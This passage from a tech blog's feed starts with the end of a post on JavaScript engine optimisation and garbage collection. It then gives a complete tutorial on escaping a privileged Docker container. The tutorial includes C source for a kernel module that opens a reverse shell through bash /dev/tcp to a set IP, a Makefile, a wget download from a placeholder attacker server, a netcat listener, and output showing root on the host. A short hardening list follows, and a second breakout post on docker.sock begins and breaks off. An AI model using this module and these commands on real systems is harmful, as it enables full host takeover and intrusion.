</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">object</span> <span style="color:#f92672">=</span> [<span style="color:#a6e22e">X1</span>, <span style="color:#a6e22e">X2</span>, <span style="color:#a6e22e">X3</span>, <span style="color:#a6e22e">X4</span>, <span style="color:#a6e22e">X5</span>, <span style="color:#a6e22e">X1</span>, <span style="color:#a6e22e">X2</span>, <span style="color:#a6e22e">X3</span>];
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">get_a</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">obj</span>) =&gt; <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">a</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">10000000000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) <span style="color:#a6e22e">get_a</span>(<span style="color:#a6e22e">object</span>[<span style="color:#a6e22e">i</span> <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">7</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">t1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">performance</span>.<span style="color:#a6e22e">now</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      document.<span style="color:#a6e22e">write</span>(<span style="color:#e6db74">&#34;Execution took &#34;</span> <span style="color:#f92672">+</span> (<span style="color:#a6e22e">t1</span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">t0</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34; milliseconds.&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    window.<span style="color:#a6e22e">onload</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">perfTest</span>();
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Execution time:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Execution</span> <span style="color:#a6e22e">took</span>  <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">1370.180000005348</span> <span style="color:#a6e22e">milliseconds</span>.
</span></span></code></pre></div><p>Optimized code execution time drastically decreased in comparison of unoptimized. From 26 sec to 3 sec.</p>
<h3 id="prototypes">Prototypes</h3>
<ul>
<li>Prototypes are <strong>specially treated objects</strong>.</li>
<li>Each JS object has an <strong>inheritance chain up</strong> to the general <code>Object.prototype</code></li>
<li>JS Engines <strong>in background use object shapes for object prototypes</strong></li>
<li>Prototypes also <strong>use Inline Cache to have quick access over Shape chain</strong></li>
<li><code>ValidityCell</code> guarantee that cached <strong>prototype didn&rsquo;t change</strong></li>
<li>Once <code>ValidityCell</code> became <strong>invalid inline caching is not used anymore</strong></li>
</ul>
<p><img src="js-engine-inline-caching.svg" alt="JS inline caching - validity cell"></p>
<h3 id="classes">Classes</h3>
<p>Classes are <strong>syntax for the prototype.</strong></p>
<h2 id="garbage-collection">Garbage Collection</h2>
<p><img src="js-garbage-collection.png" alt="Garbage collection"></p>
<ul>
<li>Garbage Collector - the mechanism for <strong>real-time deletion of unused dynamic memory</strong></li>
<li>Stop a main thread to rearrange references</li>
<li>Responsible for <strong>memory optimization</strong></li>
<li>Usually use <strong>Mark &amp; Sweep</strong> or derivatives
<ul>
<li>Marking - Mark all <em>alive</em> (which has at least one reference) objects</li>
<li>Sweeping - <strong>Free memory</strong> from all objects left</li>
</ul>
</li>
<li>Usually, objects are divided into generations:
<ul>
<li>Young - Most instances <em>die young</em>, so over the young generation, <strong>GC runs more times</strong></li>
<li>Old - Old objects <strong>live much longer</strong> e.g. global objects</li>
</ul>
</li>
<li><strong>Optimally</strong> GC run when <strong>idle time detected</strong> e.g. on watching a video, reading longer text</li>
</ul>
<h4 id="memory-leak---accidental-global-variables">Memory <em>Leak</em> - Accidental Global Variables</h4>
<p>When variable inside a function is defined without <code>var</code> prefix it cause that object is assigned to  <code>window</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">foo</span>(<span style="color:#a6e22e">arg</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bar</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hidden global variable&#34;</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If <code>this</code> was used it may also cause the same issue:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">foo</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">variable</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;potential accidental global&#34;</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">foo</span>();
</span></span></code></pre></div><p>To avoid it <code>'use strict';</code> the clause can be added at the beginning of JS file.
To avoid it <code>'use strict';</code> the clause can be added at the beginning of JS file.</p>
<h2 id="why-js-is-not-server-side-compiled-">Why JS is not server side compiled ?</h2>
<p>You can ask why not to send compiled/bytecode to the browser. This could solve the problem with code optimization.
To get the answer we need to understand for what purpose JS was designed and what are pros of this solution.</p>
<p><strong>Simple glue language</strong></p>
<p>The idea of JS was to be the simple scripting language for non-developers. JS had to be like glue between Java applets.</p>
<blockquote>
<p>We aimed to provide a “glue language” for the Web designers and part time programmers who were building Web content from components such as images, plugins, and Java applets. We saw Java as the “component language” used by higher-priced programmers, where the glue programmers – the Web page designers – would assemble components and automate their interactions using JS.</p>
<p>In this sense, JS was analogous to Visual Basic, and Java to C++, in Microsoft’s programming language family used on Windows and in its applications. This division of labor across the programming pyramid fosters greater innovation than alternatives that require all programmers to use the “real” programming language (Java or C++) instead of the “little” scripting language.</p>
</blockquote>
<p>Brendan Eich JS Initial Designer - <a href="https://a-z.readthedocs.io/en/latest/javascript.html">https://a-z.readthedocs.io/en/latest/javascript.html</a></p>
<p><strong>Embedding into HTML</strong></p>
<p>JavaScript was designed to be embedded directly in HTML,
like <code>&lt;input type=&quot;button&quot; onclick=&quot;alert('hello world')&quot;&gt;</code>. This requires JS to be in a textual format.</p>
<p><strong>Easier development</strong></p>
<p>We don&rsquo;t need any compiler to JS development only text editor and browser are needed.</p>
<p><strong>Standardization problems</strong></p>
<p>Each browser implements EcmaScript in its own way, the only high-level specification defined by committees is agreed. There is no standardization for bytecode or more optimized code.</p>
<p><strong>Minified and Compressed code</strong></p>
<p>As EcmaScript can be compressed and minified quite well it&rsquo;s not big loose to not compile on server side.</p>
<h2 id="performance-advice">Performance advice</h2>
<ul>
<li><strong>Always initialize objects in the same way</strong></li>
<li><strong>Instead of delete property</strong>, prefer to use <code>null</code> or <code>undefined</code></li>
<li><strong>Don&rsquo;t mix object shapes in an array</strong></li>
<li><strong>Keep order on object creation</strong> - Order in which the variables are defined is important</li>
<li><strong>Don&rsquo;t change prototypes</strong> if possible (or change as early as possible)</li>
<li><strong>Avoid the allocation of global objects</strong></li>
</ul>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://mathiasbynens.be/notes/shapes-ics">https://mathiasbynens.be/notes/shapes-ics</a></li>
<li><a href="https://mathiasbynens.be/notes/prototypes">https://mathiasbynens.be/notes/prototypes</a></li>
<li><a href="https://www.ecma-international.org/ecma-262/11.0/index.html#sec-overview">https://www.ecma-international.org/ecma-262/11.0/index.html#sec-overview</a></li>
<li><a href="https://a-z.readthedocs.io/en/latest/javascript.html">https://a-z.readthedocs.io/en/latest/javascript.html</a></li>
<li><a href="https://softwareengineering.stackexchange.com/questions/402250/why-is-javascript-not-compiled-to-bytecode-before-sending-over-the-network">https://softwareengineering.stackexchange.com/questions/402250/why-is-javascript-not-compiled-to-bytecode-before-sending-over-the-network</a></li>
<li><a href="https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/">https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/</a></li>
</ul>
]]></content></item><item><title>How to add Reverseshell to host from the privileged container</title><link>https://greencashew.dev/posts/how-to-add-reverseshell-to-host-from-the-privileged-container/</link><pubDate>Fri, 25 Dec 2020 18:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/how-to-add-reverseshell-to-host-from-the-privileged-container/</guid><description>Overview Docker privileged mode grants a Docker container root capabilities to all devices on the host system. Some docker containers require extra privileges to access kernel host (e.g. to allow run docker inside docker). Unfortunately, these root capabilities can be also used to breakout container and even gain root capabilities.
Preconditions The attacker has access to the container with --privileged or --cap-add=all mode Checking capabilities First, to simulate the attacker situation let&amp;rsquo;s run the alpine image with --privileged mode.</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>Docker privileged mode grants a Docker container root capabilities to all devices on the host system. Some docker containers require extra privileges to access kernel host (e.g. to allow run docker inside docker). Unfortunately, these root capabilities can be also used to breakout container and even gain root capabilities.</p>
<h2 id="preconditions">Preconditions</h2>
<ul>
<li>The attacker has access to the container with <code>--privileged</code> or <code>--cap-add=all</code> mode</li>
</ul>
<h2 id="checking-capabilities">Checking capabilities</h2>
<p>First, to simulate the attacker situation let&rsquo;s run the alpine image with <code>--privileged</code> mode.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -it --privileged alpine sh
</span></span></code></pre></div><p>The next step for the attacker is to check what capabilities are available in a docker container. To do that it is needed to run <code>capsh --print</code> the command inside the container. if the command is not available it is needed to install <code>libcap</code> library.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>apk add -U libcap
</span></span><span style="display:flex;"><span>capsh --print | grep Current
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+eip
</span></span></code></pre></div><p>As you see there are a lot of capabilities in a privileged mode, Below you can find differences between the privileged component and the standard one.</p>
<table>
<thead>
<tr>
<th>NORMAL</th>
<th>PRIVILEGED</th>
</tr>
</thead>
<tbody>
<tr>
<td>cap_chown</td>
<td>cap_chown</td>
</tr>
<tr>
<td>cap_dac_override</td>
<td>cap_dac_override</td>
</tr>
<tr>
<td></td>
<td>cap_dac_read_search</td>
</tr>
<tr>
<td>cap_fowner</td>
<td>cap_fowner</td>
</tr>
<tr>
<td>cap_fsetid</td>
<td>cap_fsetid</td>
</tr>
<tr>
<td>cap_kill</td>
<td>cap_kill</td>
</tr>
<tr>
<td>cap_setgid</td>
<td>cap_setgid</td>
</tr>
<tr>
<td>cap_setuid</td>
<td>cap_setuid</td>
</tr>
<tr>
<td>cap_setpcap</td>
<td>cap_setpcap</td>
</tr>
<tr>
<td></td>
<td>cap_linux_immutable</td>
</tr>
<tr>
<td>cap_net_bind_service</td>
<td>cap_net_bind_service</td>
</tr>
<tr>
<td></td>
<td>cap_net_broadcast</td>
</tr>
<tr>
<td></td>
<td>cap_net_admin</td>
</tr>
<tr>
<td>cap_net_raw</td>
<td>cap_net_raw</td>
</tr>
<tr>
<td></td>
<td>cap_ipc_lock</td>
</tr>
<tr>
<td></td>
<td>cap_ipc_owner</td>
</tr>
<tr>
<td></td>
<td><strong>cap_sys_module</strong></td>
</tr>
<tr>
<td></td>
<td>cap_sys_rawio</td>
</tr>
<tr>
<td>cap_sys_chroot</td>
<td>cap_sys_chroot</td>
</tr>
<tr>
<td></td>
<td><strong>cap_sys_ptrace</strong></td>
</tr>
<tr>
<td></td>
<td>cap_sys_pacct</td>
</tr>
<tr>
<td></td>
<td><strong>cap_sys_admin</strong></td>
</tr>
<tr>
<td></td>
<td>cap_sys_boot</td>
</tr>
<tr>
<td></td>
<td>cap_sys_nice</td>
</tr>
<tr>
<td></td>
<td>cap_sys_resource</td>
</tr>
<tr>
<td></td>
<td>cap_sys_time</td>
</tr>
<tr>
<td></td>
<td>cap_sys_tty_config</td>
</tr>
<tr>
<td>cap_mknod</td>
<td>cap_mknod</td>
</tr>
<tr>
<td></td>
<td>cap_lease</td>
</tr>
<tr>
<td>cap_audit_write</td>
<td>cap_audit_write</td>
</tr>
<tr>
<td></td>
<td>cap_audit_control</td>
</tr>
<tr>
<td>cap_setfcap+eip</td>
<td>cap_setfcap</td>
</tr>
<tr>
<td></td>
<td>cap_mac_override</td>
</tr>
<tr>
<td></td>
<td>cap_mac_admin</td>
</tr>
<tr>
<td></td>
<td>cap_syslog</td>
</tr>
<tr>
<td></td>
<td>cap_wake_alarm</td>
</tr>
<tr>
<td></td>
<td>cap_block_suspend</td>
</tr>
<tr>
<td></td>
<td>cap_audit_read+eip</td>
</tr>
</tbody>
</table>
<p><strong>cap_sys_module</strong>, <strong>cap_sys_ptrace</strong>, <strong>cap_sys_admin</strong> are capabilities which attacker can easily use to breakout container.</p>
<hr>
<h2 id="building-reverse-shell-kernel-module">Building reverse shell kernel module</h2>
<p>With privileged docker container attacker can install linux kernel modules. In this section we build reverseshell kernel module.</p>
<p>Before start creating kernel module you have to be sure that you have installed <strong>linux headers</strong>. To install them use command below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt-get install -y build-essential linux-headers-<span style="color:#66d9ef">$(</span>uname -r<span style="color:#66d9ef">)</span>
</span></span></code></pre></div><p>Next step we need to do is create file <a href="https://github.com/greencashew/greencashew.github.io/blob/master/posts/how-to-add-reverseshell-to-host-from-the-privileged-container/source/reverseshell_module.c">reverseshell_module.c</a> with content below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;linux/init.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;linux/kernel.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;linux/module.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;linux/kmod.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">char</span> command[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;bash -i &gt;&amp; /dev/tcp/172.17.0.1/8888 0&gt;&amp;1&#34;</span>; <span style="color:#75715e">//Reverse shell change ip and port if needed
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>argv[] <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;/bin/bash&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;-c&#34;</span>,    <span style="color:#75715e">// flag make command run from option list
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    command, <span style="color:#75715e">// Reverse shell
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    NULL     <span style="color:#75715e">// End of the list
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>};
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>envp[] <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;HOME=/&#34;</span>,
</span></span><span style="display:flex;"><span>    NULL <span style="color:#75715e">// End of the list
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> __init <span style="color:#a6e22e">connect_back_init</span>(<span style="color:#66d9ef">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> call_usermodehelper(
</span></span><span style="display:flex;"><span>        argv[<span style="color:#ae81ff">0</span>],      <span style="color:#75715e">// execution path
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        argv,         <span style="color:#75715e">// arguments for process
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        envp,         <span style="color:#75715e">// environment for process
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        UMH_WAIT_EXEC <span style="color:#75715e">// don&#39;t wait for program return status
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    );
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> __exit <span style="color:#a6e22e">connect_back_exit</span>(<span style="color:#66d9ef">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    printk(KERN_INFO <span style="color:#e6db74">&#34;Exiting</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>module_init(connect_back_init);
</span></span><span style="display:flex;"><span>module_exit(connect_back_exit);
</span></span></code></pre></div><p>Next step is to prepare <a href="https://github.com/greencashew/greencashew.github.io/blob/master/posts/how-to-add-reverseshell-to-host-from-the-privileged-container/source/Makefile">Makefile</a> to be able to build module properly:</p>
<pre tabindex="0"><code>obj-m += reverseshell_module.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
</code></pre><p>When both files are prepared you can build file with <code>make</code> command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>make
</span></span></code></pre></div><p>result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>make -C /lib/modules/5.4.0-42-generic/build M<span style="color:#f92672">=</span>/home/janek/reverseshell modules
</span></span><span style="display:flex;"><span>make<span style="color:#f92672">[</span>1<span style="color:#f92672">]</span>: Entering directory <span style="color:#e6db74">&#39;/usr/src/linux-headers-5.4.0-42-generic&#39;</span>
</span></span><span style="display:flex;"><span>  Building modules, stage 2.
</span></span><span style="display:flex;"><span>  MODPOST <span style="color:#ae81ff">1</span> modules
</span></span><span style="display:flex;"><span>WARNING: modpost: missing MODULE_LICENSE<span style="color:#f92672">()</span> in /home/janek/reverseshell/reverseshell_module.o
</span></span><span style="display:flex;"><span>see include/linux/module.h <span style="color:#66d9ef">for</span> more information
</span></span><span style="display:flex;"><span>  CC <span style="color:#f92672">[</span>M<span style="color:#f92672">]</span>  /home/janek/reverseshell/reverseshell_module.mod.o
</span></span><span style="display:flex;"><span>  LD <span style="color:#f92672">[</span>M<span style="color:#f92672">]</span>  /home/janek/reverseshell/reverseshell_module.ko
</span></span><span style="display:flex;"><span>make<span style="color:#f92672">[</span>1<span style="color:#f92672">]</span>: Leaving directory <span style="color:#e6db74">&#39;/usr/src/linux-headers-5.4.0-42-generic&#39;</span>
</span></span></code></pre></div><p>As build process has been completed attacker can put <code>reverseshell_module.ko</code> into some http server.</p>
<h2 id="installing-a-reverse-shell-kernel-module-from-the-privileged-docker-container">Installing a reverse shell kernel module from the privileged docker container</h2>
<p>Let&rsquo;s go back to a privileged Docker container which attacker got access.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -it --privileged alpine sh
</span></span></code></pre></div><p>Another thing attacker do is downloading prepared docker module.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget http://ATTACKER_SERVER/reverseshell_module.ko
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Connecting to 172.17.0.1:8000 (172.17.0.1:8000)
</span></span><span style="display:flex;"><span>saving to &#39;reverseshell_module.ko&#39;
</span></span><span style="display:flex;"><span>reverseshell_module. 100% |********************************************************|  4544  0:00:00 ETA
</span></span><span style="display:flex;"><span>&#39;reverseshell_module.ko&#39; saved
</span></span></code></pre></div><p>Before installation of the kernel module, it is needed to setup <code>netcat</code> listener in a new terminal window:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nc -nlvp <span style="color:#ae81ff">8888</span>
</span></span></code></pre></div><p>result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Listening on 0.0.0.0 <span style="color:#ae81ff">8888</span>
</span></span></code></pre></div><p>As the listener is ready attacker can install reverse shell kernel module:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chmod +x reverseshell_module.ko
</span></span><span style="display:flex;"><span>insmod reverseshell_module.ko
</span></span></code></pre></div><p>The connection should appear on the listening terminal:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Connection received on 10.0.2.15 <span style="color:#ae81ff">44586</span>
</span></span><span style="display:flex;"><span>bash: cannot set terminal process group <span style="color:#f92672">(</span>-1<span style="color:#f92672">)</span>: Inappropriate ioctl <span style="color:#66d9ef">for</span> device
</span></span><span style="display:flex;"><span>bash: no job control in this shell
</span></span><span style="display:flex;"><span>root@docker:/# id
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>root@docker:/# 
</span></span></code></pre></div><p>As we can see the attacker received <strong>root</strong> access on the host machine.</p>
<h3 id="kernel-modules-commands">Kernel modules commands</h3>
<p>Below you can find some useful command for managing kernel modules:</p>
<p>Install module:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>insmod reverseshell_module.ko
</span></span></code></pre></div><p>Unload module:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>rmmod reverseshell_module.ko
</span></span></code></pre></div><p>List modules:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>lsmod
</span></span></code></pre></div><h2 id="how-to-secure">How to secure?</h2>
<ul>
<li>Always give the container minimum requirements it needs</li>
<li>If it is required add only specific capabilities with <code>--cap-add</code></li>
<li>Use namespace remapping</li>
<li>Run docker in <a href="https://docs-stage.docker.com/engine/security/rootless/">rootless mode</a> (Some docker features may not work properly)</li>
<li>Run containers as not <code>root</code> user</li>
</ul>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://phoenixnap.com/kb/docker-privileged">https://phoenixnap.com/kb/docker-privileged</a></li>
<li><a href="https://www.educba.com/docker-privileged/">https://www.educba.com/docker-privileged/</a></li>
<li><a href="https://docs-stage.docker.com/engine/security/rootless/">https://docs-stage.docker.com/engine/security/rootless/</a></li>
<li><a href="https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html">https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html</a></li>
<li><a href="https://www.kernel.org/doc/htmldocs/kernel-hacking/routines-init-again.html">https://www.kernel.org/doc/htmldocs/kernel-hacking/routines-init-again.html</a></li>
<li><a href="https://www.thegeekstuff.com/2013/07/write-linux-kernel-module/">https://www.thegeekstuff.com/2013/07/write-linux-kernel-module/</a></li>
</ul>
]]></content></item><item><title>Docker Container breakout using docker.sock</title><link>https://greencashew.dev/posts/docker-container-breakout-using-docker.sock/</link><pubDate>Thu, 24 Dec 2020 18:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/docker-container-breakout-using-docker.sock/</guid><description>Overview Some docker images like Portainer, Nginx available on docker hub require add as volume docker.sock. This file allows managing other containers from the container. Unfortunately, access to this file can also give the attacker opportunity to get control over the host.
Preconditions The attacker got access to docker container Container has mounted /var/run/docker.sock Checking if conditions fulfilled To simulate precondition we create alpine image with mounted docker.sock:</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>Some docker images like <strong>Portainer</strong>, <strong>Nginx</strong> available on docker hub require add as volume <code>docker.sock</code>. This file allows managing other containers from the container. Unfortunately, access to this file can also give the attacker opportunity to get control over the host.</p>
<h2 id="preconditions">Preconditions</h2>
<ul>
<li>The attacker got access to docker container</li>
<li>Container has mounted <code>/var/run/docker.sock</code></li>
</ul>
<h2 id="checking-if-conditions-fulfilled">Checking if conditions fulfilled</h2>
<p>To simulate precondition we create <code>alpine image</code> with mounted <code>docker.sock</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh
</span></span></code></pre></div><p>Let be sure if docker sock has been mounted:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ls /var/run/docker.sock 
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/var/run/docker.sock
</span></span></code></pre></div><p>Another thing user need to check if <code>docker</code> CLI is installed under container:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sh: docker: not found
</span></span></code></pre></div><p>Docker command was not found so it is needed to install it:</p>
